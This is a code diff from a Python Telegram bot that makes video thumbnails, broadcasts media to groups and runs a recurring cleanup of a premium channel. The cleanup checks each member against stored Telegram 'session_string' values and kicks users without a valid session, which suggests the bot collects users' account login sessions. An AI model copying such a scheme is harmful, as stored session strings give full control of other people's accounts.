  await status_msg.edit_text("⏳ Uploading Clean HD video to your storage channel...")
711
 
712
+ thumb_path_storage = None
713
+ if ffmpeg_available:
714
+ thumb_path_storage = f"{original_file}_storage_thumb.jpg"
715
+ proc = await asyncio.create_subprocess_exec("ffmpeg", "-y", "-i", clean_upload_file, "-vframes", "1", thumb_path_storage, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
716
+ await proc.communicate()
717
+ if not os.path.exists(thumb_path_storage):
718
+ thumb_path_storage = None
719
 
720
  media = get_media_obj(message)
721
  vid_duration = media.duration if media and hasattr(media, 'duration') and media.duration else 0
 
767
  return
768
 
769
  telegram_file = clean_upload_file
770
+ if is_blur and not is_large_video and ffmpeg_available:
771
  await status_msg.edit_text(f"⏳ Applying {blur_percent}% blur for Telegram broadcast...")
772
  radius = max(2, min(20, int((blur_percent / 100.0) * 30)))
773
  ext = "jpg" if media_type == "photo" else "mp4"
 
810
  )
811
 
812
  thumb_path = None
813
+ if media_type == "video" and ffmpeg_available:
814
  thumb_path = f"{original_file}_thumb.jpg"
815
  proc = await asyncio.create_subprocess_exec("ffmpeg", "-y", "-i", telegram_file, "-vframes", "1", thumb_path, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
816
  await proc.communicate()
 
841
 
842
  await status_msg.delete()
843
 
 
844
  groups_res = await db_query(lambda: supabase.table('groups').select('group_id').execute())
845
  group_ids = [g['group_id'] for g in groups_res.data]
846
  success_count, fail_count = 0, 0
 
857
  if media_type == "photo": await client.send_photo(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
858
  else: await client.send_video(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
859
  success_count += 1
860
+ except Exception: fail_count += 1
861
+ except Exception: fail_count += 1
 
 
862
 
863
  await message.reply(f"📢 <b>Broadcast Complete!</b>\n\n✅ Success: {success_count} groups\n❌ Failed: {fail_count} groups", parse_mode=enums.ParseMode.HTML)
864
 
865
+ except Exception as e:
866
+ try: await message.reply(f"⚠️ Error occurred: {str(e)}")
867
+ except: pass
868
  finally:
869
  for f in [original_file, watermarked_file, blurred_file, f"{original_file}_thumb.jpg" if original_file else None, f"{original_file}_storage_thumb.jpg" if original_file else None]:
870
  if f and os.path.exists(f):
 
889
  text = message.text or message.caption
890
  if text == '/cancel':
891
  admin_states.pop(message.chat.id, None)
892
+ return await message.reply("❌ Cancelled.")
 
893
 
894
  await message.reply("⏳ Broadcast started...")
895
  admin_states.pop(message.chat.id, None)
 
924
  await message.reply("⏳ <b>Starting channel cleanup...</b>\nChecking database users to verify active sessions. This might take a while.")
925
  try:
926
  kicked, checked = 0, 0
 
927
  res_users = await db_query(lambda: supabase.table('referrals').select('user_id').execute())
928
  if not res_users.data:
929
+ return await message.reply("❌ No users found in database!")
 
930
 
931
  user_ids = [u['user_id'] for u in res_users.data]
932
 
933
  for user_id in set(user_ids):
934
  try:
935
  chat_member = await bot.get_chat_member(PREMIUM_CHANNEL_ID, user_id)
 
936
  if chat_member.status in [enums.ChatMemberStatus.MEMBER, enums.ChatMemberStatus.RESTRICTED]:
937
  checked += 1
 
938
  res_session = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute())
939
 
940
  is_valid = False
 
965
  await asyncio.sleep(1.5)
966
  except FloodWait as e:
967
  await asyncio.sleep(e.value + 1)
968
+ except Exception: pass
 
969
 
970
  await message.reply(f"✅ <b>Cleanup Complete!</b>\n\n👥 Members checked: {checked}\n👢 Users Kicked: {kicked}")
971
  except Exception as e:
 
1006
  try:
1007
  await bot.ban_chat_member(PREMIUM_CHANNEL_ID, user_id)
1008
  await bot.unban_chat_member(PREMIUM_CHANNEL_ID, user_id)
1009
+ except Exception: pass
 
 
1010
  await asyncio.sleep(2)
 
1011
  except FloodWait as e:
1012
  await asyncio.sleep(e.value + 1)
1013
+ except Exception: pass
 
1014
  except Exception as e:
1015
  print(f"Auto clean error: {e}")
 
1016
  await asyncio.sleep(4 * 3600)
1017
 
1018
  @bot.on_message(filters.private & filters.user(ADMIN_IDS) & ~filters.command(["start", "stats", "users", "broadcast", "png", "addvideo", "blur", "clean", "sendto", "clone", "upload"]))
 
1036
  def run_flask(): app.run(host="0.0.0.0", port=int(os.environ.get("PORT", 7860)), threaded=True)
1037
 
1038
  async def main():
1039
+ try:
1040
+ await bot.start()
1041
+ print("🤖 Pyrogram Bot & Real Session API is running!")
1042
+ asyncio.create_task(auto_clean_channel_loop())
1043
+ await idle()
1044
+ except Exception as e:
1045
+ print(f"❌ Failed to start Bot: {e}")
1046
+ while True: await asyncio.sleep(3600)
1047
+ finally:
1048
+ try: await bot.stop()
1049
+ except: pass
1050
 
1051
  if __name__ == "__main__":
1052
  threading.Thread(target=run_flask, daemon=True).start()